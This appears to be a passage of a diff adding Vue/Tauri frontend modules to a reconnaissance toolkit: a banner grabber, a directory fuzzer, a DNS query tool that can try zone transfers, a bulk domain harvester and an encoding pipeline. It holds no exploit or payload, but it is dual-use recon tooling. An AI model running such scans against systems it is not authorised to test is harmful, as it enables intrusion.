await invoke("banner_grab", {
req: { host: host.value.trim(), ports, concurrency: concurrency.value, timeout_ms: timeoutMs.value },
});
log.ok(`banner grab done: ${hits.value.length} service(s) fingerprinted`);
} catch (e: any) { log.err(String(e)); }
finally { running.value = false; cleanup(); }
}
function cleanup() { while (unlistens.length) { const u = unlistens.pop(); if (u) u(); } }
onUnmounted(cleanup);
</script>
<template>
<div class="module">
<div class="form">
<Prompt label="host" v-model="host" placeholder="target.com or 1.2.3.4" />
<Prompt label="ports" v-model="portSpec" placeholder="22,80,443 or 1-1024" />
<div class="row">
<label class="mini"><span>conc</span><input v-model.number="concurrency" type="number" min="1" max="300" /></label>
<label class="mini"><span>t/out</span><input v-model.number="timeoutMs" type="number" min="500" max="15000" /></label>
<button class="exec" :disabled="running" @click="run">{{ running ? "[ grabbing... ]" : "> grab banners" }}</button>
</div>
<div v-if="progress.total" class="bar">
<div class="bar-fill" :style="{ width: (progress.done / progress.total) * 100 + '%' }" />
<span class="bar-text">{{ progress.done }} / {{ progress.total }}</span>
</div>
</div>
<div v-if="hits.length" class="bgrid">
<div v-for="h in hits" :key="h.port" class="b">
<div class="b-head">
<span class="b-port">{{ h.port }}</span>
<span class="b-svc">{{ h.service }}</span>
<span v-if="h.version" class="b-ver">{{ h.version }}</span>
<span class="b-bytes">{{ h.bytes }}b</span>
</div>
<pre class="b-banner">{{ h.banner.slice(0, 500) }}</pre>
</div>
</div>
<Terminal :lines="log.lines.value" title="banner // service fingerprint" @clear="log.clear()" />
</div>
</template>
<style scoped>
.bgrid { display: grid; grid-template-columns: repeat(auto-fill, minmax(260px, 1fr)); gap: 6px; max-height: 280px; overflow-y: auto; }
.b { background: var(--bg-panel); border: 1px solid var(--border); padding: 5px 8px; border-left: 2px solid var(--valid); }
.b-head { display: flex; gap: 6px; align-items: center; font-size: 11px; margin-bottom: 3px; }
.b-port { color: var(--alert); font-weight: 700; min-width: 44px; font-variant-numeric: tabular-nums; }
.b-svc { color: var(--valid); font-weight: 700; text-transform: uppercase; letter-spacing: 0.1em; font-size: 10px; flex-shrink: 0; }
.b-ver { color: var(--info); font-size: 10px; flex: 1; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; min-width: 0; }
.b-bytes { color: var(--fg-ghost); font-size: 9px; font-variant-numeric: tabular-nums; }
.b-banner {
background: var(--bg);
border: 1px solid var(--border);
padding: 4px 6px;
font-size: 10px;
color: var(--fg-dim);
white-space: pre-wrap;
word-break: break-all;
max-height: 100px;
overflow-y: auto;
margin: 0;
line-height: 1.4;
}
</style>

View File

@@ -0,0 +1,170 @@
<script setup lang="ts">
import { onMounted, onUnmounted, ref } from "vue";
import { invoke } from "@tauri-apps/api/core";
import { listen, type UnlistenFn } from "@tauri-apps/api/event";
import Terminal from "../Terminal.vue";
import Prompt from "../Prompt.vue";
import { useTerminal } from "../../composables/useTerminal";
interface DirHit {
url: string;
status: number;
size: number;
words: number;
lines: number;
redirect?: string;
title?: string;
content_type?: string;
time_ms: number;
}
const baseUrl = ref("https://example.com");
const wordlist = ref("");
const extensions = ref(".php,.html,.bak,.zip,.json,.txt");
const acceptStatusStr = ref("200,201,204,301,302,307,308,401,403,405");
const sizeMin = ref<number | null>(null);
const sizeMax = ref<number | null>(null);
const concurrency = ref(40);
const timeoutMs = ref(5000);
const followRedirects = ref(false);
const recursive = ref(false);
const recursionDepth = ref(2);
const running = ref(false);
const progress = ref({ done: 0 });
const hits = ref<DirHit[]>([]);
const log = useTerminal();
const unlistens: UnlistenFn[] = [];
async function loadDefault() {
try {
const words: string[] = await invoke("dirfuzz_common_wordlist");
wordlist.value = words.join("\n");
} catch (e: any) { log.err(String(e)); }
}
function statusKind(s: number): "valid" | "ok" | "warn" | "err" {
if (s >= 200 && s < 300) return "valid";
if (s >= 300 && s < 400) return "ok";
if (s >= 400 && s < 500) return "warn";
return "err";
}
async function run() {
if (running.value) return;
running.value = true;
hits.value = [];
progress.value = { done: 0 };
log.clear();
const words = wordlist.value.split(/[\s,\n]+/).map(s => s.trim()).filter(Boolean);
const exts = extensions.value.split(/[,\s]+/).map(s => s.trim()).filter(Boolean);
const statuses = acceptStatusStr.value.split(/[,\s]+/).map(s => parseInt(s, 10)).filter(n => !isNaN(n));
log.info(`target: ${baseUrl.value}`);
log.info(`paths: ${words.length} × ${exts.length + 1} (incl. plain) = ${words.length * (exts.length + 1)} tests per level`);
unlistens.push(await listen<string>("dirfuzz:status", (e) => log.dim(String(e.payload))));
unlistens.push(await listen<{ done: number }>("dirfuzz:progress", (e) => { progress.value = e.payload; }));
unlistens.push(await listen<DirHit>("dirfuzz:hit", (e) => {
const h = e.payload;
hits.value.push(h);
const redir = h.redirect ? `${h.redirect}` : "";
const title = h.title ? ` "${h.title.slice(0, 40)}"` : "";
const line = `${String(h.status).padEnd(4)} ${h.size.toString().padStart(7)}b ${h.url}${redir}${title}`;
(log as any)[statusKind(h.status)](line);
}));
try {
await invoke("dirfuzz_run", {
req: {
base_url: baseUrl.value.trim(),
wordlist: words,
extensions: exts,
accept_status: statuses,
size_min: sizeMin.value,
size_max: sizeMax.value,
concurrency: concurrency.value,
timeout_ms: timeoutMs.value,
follow_redirects: followRedirects.value,
recursive: recursive.value,
recursion_depth: recursionDepth.value,
headers: {},
user_agent: null,
},
});
log.ok(`fuzz done: ${hits.value.length} hits`);
} catch (e: any) {
log.err(String(e));
} finally {
running.value = false;
cleanup();
}
}
function cleanup() { while (unlistens.length) { const u = unlistens.pop(); if (u) u(); } }
onMounted(loadDefault);
onUnmounted(cleanup);
</script>
<template>
<div class="module">
<div class="form">
<Prompt label="base url" v-model="baseUrl" placeholder="https://target.com" />
<details class="adv">
<summary>wordlist · {{ wordlist.split(/\s+/).filter(Boolean).length }} paths</summary>
<textarea class="term-input" v-model="wordlist" rows="4" spellcheck="false" placeholder="one path per line" />
</details>
<div class="row">
<label class="mini wide"><span>ext</span><input v-model="extensions" placeholder=".php,.bak,.zip" /></label>
<label class="mini wide"><span>status</span><input v-model="acceptStatusStr" placeholder="200,403" /></label>
</div>
<div class="row">
<label class="mini"><span>size</span><input v-model.number="sizeMin" type="number" placeholder="min" /></label>
<label class="mini"><span>size</span><input v-model.number="sizeMax" type="number" placeholder="max" /></label>
<label class="mini"><span>conc</span><input v-model.number="concurrency" type="number" min="1" max="300" /></label>
<label class="mini"><span>t/out</span><input v-model.number="timeoutMs" type="number" min="500" max="30000" /></label>
</div>
<div class="row">
<label class="toggle"><input type="checkbox" v-model="followRedirects" /><span>follow</span></label>
<label class="toggle"><input type="checkbox" v-model="recursive" /><span>recursive</span></label>
<label v-if="recursive" class="mini"><span>depth</span><input v-model.number="recursionDepth" type="number" min="1" max="5" /></label>
</div>
<div class="row">
<button class="exec" :disabled="running" @click="run">{{ running ? "[ fuzzing... ]" : "> fuzz" }}</button>
</div>
<div v-if="running" class="scan-stat">
<span>seen {{ progress.done }}</span>
<span class="sep">│</span>
<span>hits {{ hits.length }}</span>
</div>
</div>
<Terminal :lines="log.lines.value" title="dir-fuzz // content discovery" @clear="log.clear()" />
</div>
</template>
<style scoped>
.adv { border: 1px solid var(--border); background: var(--bg-panel); padding: 4px 8px; }
.adv summary { cursor: pointer; font-size: 10px; color: var(--fg-dim); text-transform: uppercase; letter-spacing: 0.1em; padding: 2px 0; }
.adv summary:hover { color: var(--fg); }
.adv > *:not(summary) { margin-top: 6px; }
.scan-stat {
display: flex;
gap: 8px;
padding: 4px 8px;
background: var(--bg-panel);
border: 1px solid var(--border);
font-size: 11px;
color: var(--fg-dim);
font-variant-numeric: tabular-nums;
}
.scan-stat .sep { color: var(--fg-ghost); }
</style>

View File

@@ -0,0 +1,99 @@
<script setup lang="ts">
import { ref } from "vue";
import { invoke } from "@tauri-apps/api/core";
import Prompt from "../Prompt.vue";
import Terminal from "../Terminal.vue";
import { useTerminal } from "../../composables/useTerminal";
interface DnsRecord { rtype: string; values: string[]; }
interface Axfr { success: boolean; nameserver: string; records_dumped: string[]; error?: string; }
interface Report {
domain: string;
records: DnsRecord[];
axfr?: Axfr;
dnssec: { dnskey_count: number; has_dnssec: boolean };
errors: string[];
}
const domain = ref("example.com");
const resolver = ref("");
const tryAxfr = ref(false);
const running = ref(false);
const report = ref<Report | null>(null);
const log = useTerminal();
async function run() {
if (running.value) return;
running.value = true;
log.clear();
report.value = null;
try {
report.value = await invoke<Report>("dns_query", {
req: {
domain: domain.value.trim(),
resolver: resolver.value.trim() || null,
types: null,
try_axfr: tryAxfr.value,
},
});
log.ok(`${report.value.records.reduce((a, b) => a + b.values.length, 0)} records resolved`);
if (report.value.dnssec.has_dnssec) log.valid(`DNSSEC: ${report.value.dnssec.dnskey_count} DNSKEY record(s)`);
else log.dim("DNSSEC: none");
if (report.value.axfr) {
if (report.value.axfr.success) log.hit(`AXFR SUCCESS on ${report.value.axfr.nameserver}${report.value.axfr.records_dumped.length} records leaked`);
else log.warn(`AXFR refused: ${report.value.axfr.error ?? "unknown"}`);
}
for (const e of report.value.errors) log.warn(e);
} catch (e: any) { log.err(String(e)); }
finally { running.value = false; }
}
</script>
<template>
<div class="module">
<div class="form">
<Prompt label="domain" v-model="domain" placeholder="example.com" />
<Prompt label="resolver" v-model="resolver" placeholder="1.1.1.1, 8.8.8.8, internal-dns.corp (blank = cloudflare)" />
<div class="row">
<label class="toggle"><input type="checkbox" v-model="tryAxfr" /><span>try zone transfer (AXFR)</span></label>
<button class="exec" :disabled="running" @click="run">{{ running ? "[ querying... ]" : "> resolve" }}</button>
</div>
</div>
<div v-if="report" class="rec-grid">
<div v-for="r in report.records" :key="r.rtype" class="rec">
<div class="rec-head">{{ r.rtype }} <span class="rec-count">×{{ r.values.length }}</span></div>
<div v-for="v in r.values" :key="v" class="rec-val">{{ v }}</div>
</div>
<div class="rec" :class="{ ok: report.dnssec.has_dnssec, miss: !report.dnssec.has_dnssec }">
<div class="rec-head">DNSSEC</div>
<div class="rec-val">{{ report.dnssec.has_dnssec ? `${report.dnssec.dnskey_count} DNSKEY` : "not signed" }}</div>
</div>
<div v-if="report.axfr" class="rec" :class="{ hit: report.axfr.success }">
<div class="rec-head">AXFR</div>
<div v-if="report.axfr.success" class="rec-val">
LEAKED {{ report.axfr.records_dumped.length }} records
<div class="axfr-list">
<div v-for="n in report.axfr.records_dumped.slice(0, 20)" :key="n">» {{ n }}</div>
<div v-if="report.axfr.records_dumped.length > 20" class="rec-val">... +{{ report.axfr.records_dumped.length - 20 }} more</div>
</div>
</div>
<div v-else class="rec-val">refused / {{ report.axfr.error }}</div>
</div>
</div>
<Terminal :lines="log.lines.value" title="dns // recon" @clear="log.clear()" />
</div>
</template>
<style scoped>
.rec-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(220px, 1fr)); gap: 6px; }
.rec { background: var(--bg-panel); border: 1px solid var(--border); padding: 6px 8px; border-left: 2px solid var(--border-hot); }
.rec.hit { border-left-color: var(--alert); background: rgba(255, 47, 74, 0.05); }
.rec.ok { border-left-color: var(--valid); }
.rec.miss { border-left-color: var(--warn); }
.rec-head { font-size: 10px; color: var(--alert); font-weight: 700; text-transform: uppercase; letter-spacing: 0.15em; margin-bottom: 3px; }
.rec-count { color: var(--fg-dim); font-weight: 400; }
.rec-val { color: var(--fg); font-size: 11px; word-break: break-all; padding: 1px 0; }
.axfr-list { max-height: 160px; overflow-y: auto; margin-top: 4px; font-size: 10px; color: var(--fg-dim); }
</style>

View File

@@ -0,0 +1,313 @@
<script setup lang="ts">
import { computed, onMounted, onUnmounted, ref } from "vue";
import { invoke } from "@tauri-apps/api/core";
import { listen, type UnlistenFn } from "@tauri-apps/api/event";
import Terminal from "../Terminal.vue";
import Prompt from "../Prompt.vue";
import { useTerminal } from "../../composables/useTerminal";
interface IanaTld { tld: string; kind: string; sponsor: string; }
interface Hit { domain: string; source: string; }
interface SourceStat { source: string; count: number; error?: string | null; took_ms: number; }
const tld = ref("id");
const keyword = ref("");
const apexOnly = ref(true);
const maxPerSource = ref(500);
const timeoutMs = ref(30000);
// wordlists default OFF (slow) — user opt-in via UI
const sWordlistId = ref(false);
const sWordlistIdFull = ref(false);
const sWordlistEn = ref(false);
const sWordlistSubs = ref(false);
const wordlistConcurrency = ref(150);
const wordlistInfo = ref<Record<string, { name: string; count: number }>>({});
const wlProgress = ref<Record<string, { done: number; total: number }>>({});
const running = ref(false);
const hits = ref<Hit[]>([]);
const stats = ref<SourceStat[]>([]);
const log = useTerminal();
const unlistens: UnlistenFn[] = [];
// IANA TLD list
const ianaList = ref<IanaTld[]>([]);
const ianaLoading = ref(false);
const ianaKindFilter = ref<"all" | "generic" | "country-code" | "sponsored" | "generic-restricted">("all");
const ianaSearch = ref("");
const filteredIana = computed(() => {
let list = ianaList.value;
if (ianaKindFilter.value !== "all") list = list.filter(t => t.kind === ianaKindFilter.value);
const q = ianaSearch.value.toLowerCase().trim();
if (q) list = list.filter(t => t.tld.includes(q) || t.sponsor.toLowerCase().includes(q));
return list.slice(0, 200);
});
async function loadIana() {
if (ianaLoading.value) return;
ianaLoading.value = true;
log.dim("fetching IANA root database...");
try {
ianaList.value = await invoke<IanaTld[]>("iana_tld_list");
log.ok(`IANA loaded: ${ianaList.value.length} TLDs`);
} catch (e: any) {
log.err(`iana fetch failed: ${e}`);
} finally {
ianaLoading.value = false;
}
}
function pickTld(t: IanaTld) {
tld.value = t.tld.replace(/^\./, "");
}
async function run() {
if (running.value) return;
running.value = true;
hits.value = [];
stats.value = [];
log.clear();
// passive sources always run — user doesn't pick
const sources: string[] = ["crtsh", "commoncrawl", "rapiddns", "hackertarget", "certspotter"];
if (sWordlistId.value) sources.push("wordlist-id");
if (sWordlistIdFull.value) sources.push("wordlist-id-full");
if (sWordlistEn.value) sources.push("wordlist-en");
if (sWordlistSubs.value) sources.push("wordlist-subs");
if (!sources.length) { log.err("pick at least one source"); running.value = false; return; }
log.info(`tld: .${tld.value.replace(/^\./, "")}${keyword.value ? ` /keyword=${keyword.value}` : ""}`);
log.info(`apex=${apexOnly.value} | max=${maxPerSource.value}`);
unlistens.push(await listen<string>("grab:status", (e) => log.dim(String(e.payload))));
unlistens.push(await listen<{ source: string; done: number; total: number }>("grab:wl-progress", (e) => {
wlProgress.value[e.payload.source] = { done: e.payload.done, total: e.payload.total };
}));
unlistens.push(await listen<SourceStat>("grab:source", (e) => {
// track internally for potential future use, but don't surface in UI/log
stats.value.push(e.payload);
}));
unlistens.push(await listen<Hit>("grab:hit", (e) => {
const h = e.payload;
hits.value.push(h);
// log domain only — source info hidden from user
log.valid(h.domain);
}));
try {
await invoke("domain_grab", {
req: {
tld: tld.value,
keyword: keyword.value || null,
sources,
max_per_source: maxPerSource.value,
apex_only: apexOnly.value,
timeout_ms: timeoutMs.value,
wordlist_concurrency: wordlistConcurrency.value,
},
});
log.ok(`grab complete: ${hits.value.length} unique domains`);
} catch (e: any) {
log.err(String(e));
} finally {
running.value = false;
cleanup();
}
}
function cleanup() { while (unlistens.length) { const u = unlistens.pop(); if (u) u(); } }
async function copyAll() {
const txt = hits.value.map(h => h.domain).join("\n");
try { await navigator.clipboard.writeText(txt); log.dim("copied to clipboard"); } catch {}
}
function downloadTxt() {
const txt = hits.value.map(h => h.domain).join("\n");
const blob = new Blob([txt], { type: "text/plain" });
const url = URL.createObjectURL(blob);
const a = document.createElement("a");
a.href = url;
a.download = `domains-${tld.value}-${Date.now()}.txt`;
a.click();
URL.revokeObjectURL(url);
}
onMounted(async () => {
const cached = localStorage.getItem("grab:iana");
if (cached) {
try { ianaList.value = JSON.parse(cached); } catch {}
}
try {
wordlistInfo.value = await invoke("wordlist_info");
} catch {}
});
onUnmounted(cleanup);
</script>
<template>
<div class="module">
<div class="form">
<div class="row">
<label class="mini wide">
<span>TLD</span>
<input v-model="tld" placeholder="id, com, org, co.uk, gov.uk..." />
</label>
</div>
<details class="adv" :open="!ianaList.length">
<summary>iana tld catalog · {{ ianaList.length || "not loaded" }}</summary>
<div class="row">
<button class="btn-ghost" :disabled="ianaLoading" @click="loadIana">
{{ ianaLoading ? "loading..." : (ianaList.length ? "reload" : "load from iana.org") }}
</button>
<label class="mini wide"><span>search</span><input v-model="ianaSearch" placeholder="gov, bank, id..." /></label>
</div>
<div class="row">
<label class="toggle"><input type="radio" value="all" v-model="ianaKindFilter" /><span>all</span></label>
<label class="toggle"><input type="radio" value="generic" v-model="ianaKindFilter" /><span>generic</span></label>
<label class="toggle"><input type="radio" value="country-code" v-model="ianaKindFilter" /><span>ccTLD</span></label>
<label class="toggle"><input type="radio" value="sponsored" v-model="ianaKindFilter" /><span>sponsored</span></label>
</div>
<div v-if="filteredIana.length" class="iana-grid">
<button v-for="t in filteredIana" :key="t.tld" class="iana-chip" :class="`k-${t.kind.split('-')[0]}`" @click="pickTld(t)" :title="t.sponsor">
{{ t.tld }}
</button>
</div>
</details>
<Prompt label="keyword" v-model="keyword" placeholder="optional: bank, gov, pemerintah... (empty = all)" />
<details class="adv">
<summary>wordlist brute · dns + http alive verify</summary>
<div class="row">
<label class="toggle"><input type="checkbox" v-model="sWordlistId" /><span>id-common ({{ wordlistInfo['id-kompas']?.count ?? 0 }})</span></label>
<label class="toggle"><input type="checkbox" v-model="sWordlistIdFull" /><span>id-full ({{ wordlistInfo['id-kbbi']?.count ?? 0 }})</span></label>
<label class="toggle"><input type="checkbox" v-model="sWordlistEn" /><span>en-common ({{ wordlistInfo['en-common']?.count ?? 0 }})</span></label>
<label class="toggle"><input type="checkbox" v-model="sWordlistSubs" /><span>subs-top5k ({{ wordlistInfo['subs-top5k']?.count ?? 0 }})</span></label>
</div>
<div class="row">
<label class="mini"><span>dns-conc</span><input v-model.number="wordlistConcurrency" type="number" min="10" max="500" /></label>
<span class="wl-hint">
patterns: <code>w.tld</code> <code>www.w.tld</code> · keyword adds <code>w-k.tld</code> <code>k-w.tld</code> <code>www.w.k.tld</code>
</span>
</div>
</details>
<div class="row">
<label class="toggle"><input type="checkbox" v-model="apexOnly" /><span>apex only</span></label>
</div>
<div class="row">
<label class="mini"><span>max/src</span><input v-model.number="maxPerSource" type="number" min="50" max="10000" /></label>
<label class="mini"><span>t/out</span><input v-model.number="timeoutMs" type="number" min="5000" max="120000" /></label>
<button class="exec" :disabled="running" @click="run">{{ running ? "[ grabbing... ]" : "> grab domains" }}</button>
</div>
<div v-if="Object.keys(wlProgress).length" class="summary-line">
<span v-for="(p, src) in wlProgress" :key="src" class="sum-piece wl">
{{ String(src).replace('wordlist-', '') }} {{ p.done }}/{{ p.total }}
</span>
</div>
</div>
<div v-if="hits.length" class="results">
<div class="res-head">
<span class="res-count">{{ hits.length }} unique</span>
<button class="btn-ghost tiny" @click="copyAll">copy all</button>
<button class="btn-ghost tiny" @click="downloadTxt">download .txt</button>
</div>
<textarea
class="term-input res-box"
readonly
:value="hits.map(h => h.domain).join('\n')"
rows="8"
spellcheck="false"
/>
</div>
<Terminal :lines="log.lines.value" title="domain-grab // bulk harvest" @clear="log.clear()" />
</div>
</template>
<style scoped>
.adv { border: 1px solid var(--border); background: var(--bg-panel); padding: 4px 8px; }
.adv summary { cursor: pointer; font-size: 10px; color: var(--fg-dim); text-transform: uppercase; letter-spacing: 0.1em; padding: 2px 0; }
.adv summary:hover { color: var(--fg); }
.adv > *:not(summary) { margin-top: 6px; }
.iana-grid {
display: flex;
flex-wrap: wrap;
gap: 3px;
max-height: 180px;
overflow-y: auto;
padding: 4px;
background: var(--bg);
border: 1px solid var(--border);
}
.iana-chip {
padding: 2px 6px;
font-size: 10px;
color: var(--fg);
background: var(--bg-panel);
border: 1px solid var(--border);
cursor: pointer;
white-space: nowrap;
transition: all 0.1s;
}
.iana-chip:hover { border-color: var(--alert); color: var(--alert); }
.k-generic { border-left: 2px solid var(--info); }
.k-country { border-left: 2px solid var(--warn); }
.k-sponsored { border-left: 2px solid var(--valid); }
.k-infrastructure { border-left: 2px solid var(--fg-ghost); }
.wl-hint {
color: var(--fg-dim);
font-size: 10px;
font-style: italic;
align-self: center;
}
.wl-hint code { color: var(--info); background: var(--bg); padding: 0 3px; border: 1px solid var(--border); font-style: normal; margin: 0 2px; }
.hint-box {
padding: 6px 10px;
border: 1px solid rgba(127, 179, 213, 0.3);
background: rgba(127, 179, 213, 0.05);
color: var(--fg-dim);
font-size: 10px;
line-height: 1.6;
}
.hint-box b { color: var(--info); text-transform: uppercase; letter-spacing: 0.1em; font-size: 10px; }
.hint-box code { color: var(--valid); background: var(--bg); padding: 0 4px; border: 1px solid var(--border); font-size: 10px; margin: 0 2px; }
.hint-box ul { margin: 4px 0 0 16px; padding: 0; }
.hint-box li { padding: 1px 0; }
.summary-line {
display: flex;
gap: 6px;
align-items: center;
padding: 4px 8px;
background: var(--bg-panel);
border: 1px solid var(--border);
font-size: 10px;
flex-wrap: wrap;
}
.sum-piece {
padding: 1px 6px;
border: 1px solid var(--border-hot);
letter-spacing: 0.05em;
text-transform: uppercase;
}
.sum-piece.ok { color: var(--valid); border-color: var(--valid); }
.sum-piece.wl { color: var(--info); border-color: var(--info); font-variant-numeric: tabular-nums; text-transform: none; }
.results { display: flex; flex-direction: column; gap: 4px; background: var(--bg-panel); border: 1px solid var(--border); padding: 6px 8px; }
.res-head { display: flex; gap: 6px; align-items: center; }
.res-count { color: var(--valid); font-weight: 700; font-size: 11px; flex: 1; }
.btn-ghost.tiny { padding: 1px 8px; font-size: 9px; }
.res-box { font-size: 11px; color: var(--valid); background: var(--bg); }
</style>

View File

@@ -0,0 +1,253 @@
<script setup lang="ts">
import { ref } from "vue";
type Op =
| "b64-enc" | "b64-dec" | "url-enc" | "url-dec"
| "hex-enc" | "hex-dec" | "html-enc" | "html-dec"
| "unicode-enc" | "unicode-dec" | "rot13" | "reverse"
| "upper" | "lower" | "morse-enc" | "morse-dec"
| "jwt-dec";
interface Step { op: Op; label: string; }
const input = ref("");
const output = ref("");
const pipeline = ref<Step[]>([]);
const error = ref("");
const toast = ref("");
const OPS: { id: Op; label: string; group: string }[] = [
{ id: "b64-enc", label: "base64 encode", group: "base64" },
{ id: "b64-dec", label: "base64 decode", group: "base64" },
{ id: "url-enc", label: "url encode", group: "url" },
{ id: "url-dec", label: "url decode", group: "url" },
{ id: "hex-enc", label: "hex encode", group: "hex" },
{ id: "hex-dec", label: "hex decode", group: "hex" },
{ id: "html-enc", label: "html encode", group: "html" },
{ id: "html-dec", label: "html decode", group: "html" },
{ id: "unicode-enc", label: "\\uXXXX encode", group: "unicode" },
{ id: "unicode-dec", label: "\\uXXXX decode", group: "unicode" },
{ id: "rot13", label: "rot13", group: "classic" },
{ id: "reverse", label: "reverse", group: "classic" },
{ id: "upper", label: "UPPERCASE", group: "classic" },
{ id: "lower", label: "lowercase", group: "classic" },
{ id: "morse-enc", label: "morse encode", group: "classic" },
{ id: "morse-dec", label: "morse decode", group: "classic" },
{ id: "jwt-dec", label: "jwt decode", group: "jwt" },
];
const MORSE: Record<string, string> = {
A:".-",B:"-...",C:"-.-.",D:"-..",E:".",F:"..-.",G:"--.",H:"....",I:"..",J:".---",K:"-.-",L:".-..",
M:"--",N:"-.",O:"---",P:".--.",Q:"--.-",R:".-.",S:"...",T:"-",U:"..-",V:"...-",W:".--",X:"-..-",
Y:"-.--",Z:"--..","0":"-----","1":".----","2":"..---","3":"...--","4":"....-","5":".....","6":"-....",
"7":"--...","8":"---..","9":"----.",".":".-.-.-",",":"--..--","?":"..--..","!":"-.-.--","@":".--.-.",
" ":"/",
};
const MORSE_INV: Record<string, string> = Object.fromEntries(Object.entries(MORSE).map(([k, v]) => [v, k]));
function b64e(s: string): string {
try { return btoa(unescape(encodeURIComponent(s))); } catch { throw new Error("invalid utf-8 input"); }
}
function b64d(s: string): string {
try { return decodeURIComponent(escape(atob(s.replace(/\s+/g, "")))); } catch { throw new Error("invalid base64"); }
}
function hexE(s: string): string {
return Array.from(new TextEncoder().encode(s)).map(b => b.toString(16).padStart(2, "0")).join("");
}
function hexD(s: string): string {
const h = s.replace(/\s|0x/g, "");
if (!/^[0-9a-fA-F]*$/.test(h) || h.length % 2 !== 0) throw new Error("invalid hex");
const arr = new Uint8Array(h.length / 2);
for (let i = 0; i < h.length; i += 2) arr[i / 2] = parseInt(h.substr(i, 2), 16);
return new TextDecoder().decode(arr);
}
function htmlE(s: string): string {
return s.replace(/[&<>"']/g, c => ({ "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "&#39;" }[c]!));
}
function htmlD(s: string): string {
const ta = document.createElement("textarea");
ta.innerHTML = s;
return ta.value;
}
function uniE(s: string): string {
return Array.from(s).map(c => c.charCodeAt(0) < 128 ? c : "\\u" + c.charCodeAt(0).toString(16).padStart(4, "0")).join("");
}
function uniD(s: string): string {
return s.replace(/\\u([0-9a-fA-F]{4})/g, (_, h) => String.fromCharCode(parseInt(h, 16)));
}
function rot13(s: string): string {
return s.replace(/[a-zA-Z]/g, c => {
const base = c <= "Z" ? 65 : 97;
return String.fromCharCode((c.charCodeAt(0) - base + 13) % 26 + base);
});
}
function morseE(s: string): string {
return s.toUpperCase().split("").map(c => MORSE[c] ?? "").filter(Boolean).join(" ");
}
function morseD(s: string): string {
return s.split("/").map(word =>
word.trim().split(/\s+/).map(sym => MORSE_INV[sym] ?? "").join("")
).join(" ");
}
function jwtD(s: string): string {
const parts = s.trim().split(".");
if (parts.length !== 3) throw new Error("not a JWT");
const pad = (p: string) => p + "=".repeat((4 - p.length % 4) % 4);
const dec = (p: string) => decodeURIComponent(escape(atob(pad(p).replace(/-/g, "+").replace(/_/g, "/"))));
try {
const header = JSON.parse(dec(parts[0]));
const payload = JSON.parse(dec(parts[1]));
return JSON.stringify({ header, payload, signature_b64url: parts[2] }, null, 2);
} catch (e: any) { throw new Error("jwt decode failed: " + e.message); }
}
function apply(op: Op, s: string): string {
switch (op) {
case "b64-enc": return b64e(s);
case "b64-dec": return b64d(s);
case "url-enc": return encodeURIComponent(s);
case "url-dec": return decodeURIComponent(s);
case "hex-enc": return hexE(s);
case "hex-dec": return hexD(s);
case "html-enc": return htmlE(s);
case "html-dec": return htmlD(s);
case "unicode-enc": return uniE(s);
case "unicode-dec": return uniD(s);
case "rot13": return rot13(s);
case "reverse": return Array.from(s).reverse().join("");
case "upper": return s.toUpperCase();
case "lower": return s.toLowerCase();
case "morse-enc": return morseE(s);
case "morse-dec": return morseD(s);
case "jwt-dec": return jwtD(s);
}
}
function add(op: Op, label: string) {
pipeline.value.push({ op, label });
recompute();
}
function remove(i: number) {
pipeline.value.splice(i, 1);
recompute();
}
function clear() { pipeline.value = []; output.value = ""; error.value = ""; }
function recompute() {
error.value = "";
let cur = input.value;
try {
for (const s of pipeline.value) cur = apply(s.op, cur);
output.value = cur;
} catch (e: any) {
error.value = e.message ?? String(e);
output.value = "";
}
}
async function copy() {
try {
await navigator.clipboard.writeText(output.value);
toast.value = "copied";
setTimeout(() => { toast.value = ""; }, 1000);
} catch {}
}
function swap() {
input.value = output.value;
pipeline.value = [];
output.value = "";
error.value = "";
}
</script>
<template>
<div class="module">
<div class="io-split">
<label class="ta">
<span class="lbl">input</span>
<textarea class="term-input" v-model="input" rows="4" spellcheck="false" @input="recompute" placeholder="paste text to transform..." />
</label>
<label class="ta">
<span class="lbl">output
<button class="btn-ghost tiny" @click="copy" :disabled="!output">copy</button>
<button class="btn-ghost tiny" @click="swap" :disabled="!output">swap </button>
</span>
<textarea class="term-input valid-out" :value="error || output" rows="4" readonly spellcheck="false" :class="{ err: !!error }" />
</label>
</div>
<div class="pipe">
<div class="pipe-head">
<span>pipeline · {{ pipeline.length }} op(s)</span>
<button class="btn-ghost tiny" @click="clear">clear</button>
</div>
<div v-if="!pipeline.length" class="pipe-empty">pick an operation </div>
<div v-else class="pipe-chain">
<div v-for="(s, i) in pipeline" :key="i" class="step">
<span class="step-n">{{ i + 1 }}</span>
<span class="step-l">{{ s.label }}</span>
<button class="btn-ghost tiny" @click="remove(i)">×</button>
<span v-if="i < pipeline.length - 1" class="step-arrow"></span>
</div>
</div>
</div>
<div class="ops-grid">
<button v-for="o in OPS" :key="o.id" class="op-btn" :class="`grp-${o.group}`" @click="add(o.id, o.label)">
{{ o.label }}
</button>
</div>
<div v-if="toast" class="toast">{{ toast }}</div>
</div>
</template>
<style scoped>
.io-split { display: grid; grid-template-columns: 1fr 1fr; gap: 6px; }
.lbl { display: flex; gap: 6px; align-items: center; }
.btn-ghost.tiny { padding: 1px 6px; font-size: 9px; }
.valid-out { color: var(--valid); }
.valid-out.err { color: var(--alert); }
.pipe { background: var(--bg-panel); border: 1px solid var(--border); padding: 6px 8px; }
.pipe-head { display: flex; justify-content: space-between; font-size: 10px; color: var(--fg-dim); text-transform: uppercase; letter-spacing: 0.1em; margin-bottom: 4px; }
.pipe-empty { color: var(--fg-ghost); font-size: 10px; text-align: center; padding: 6px; font-style: italic; }
.pipe-chain { display: flex; gap: 4px; align-items: center; flex-wrap: wrap; }
.step { display: flex; gap: 4px; align-items: center; padding: 3px 8px; background: var(--bg); border: 1px solid var(--info); color: var(--info); font-size: 11px; }
.step-n { color: var(--fg-ghost); font-size: 9px; }
.step-arrow { color: var(--fg-ghost); font-size: 14px; }
.ops-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(130px, 1fr)); gap: 3px; }
.op-btn {
padding: 5px 8px;
background: var(--bg-panel);
border: 1px solid var(--border);
color: var(--fg-dim);
font-size: 11px;
text-align: left;
cursor: pointer;
transition: all 0.1s;
}
.op-btn:hover { border-color: var(--alert); color: var(--alert); }
.grp-base64 { border-left: 2px solid #3572a5; }
.grp-url { border-left: 2px solid #d4a537; }
.grp-hex { border-left: 2px solid #5cd982; }
.grp-html { border-left: 2px solid #e76f00; }
.grp-unicode { border-left: 2px solid #7fb3d5; }
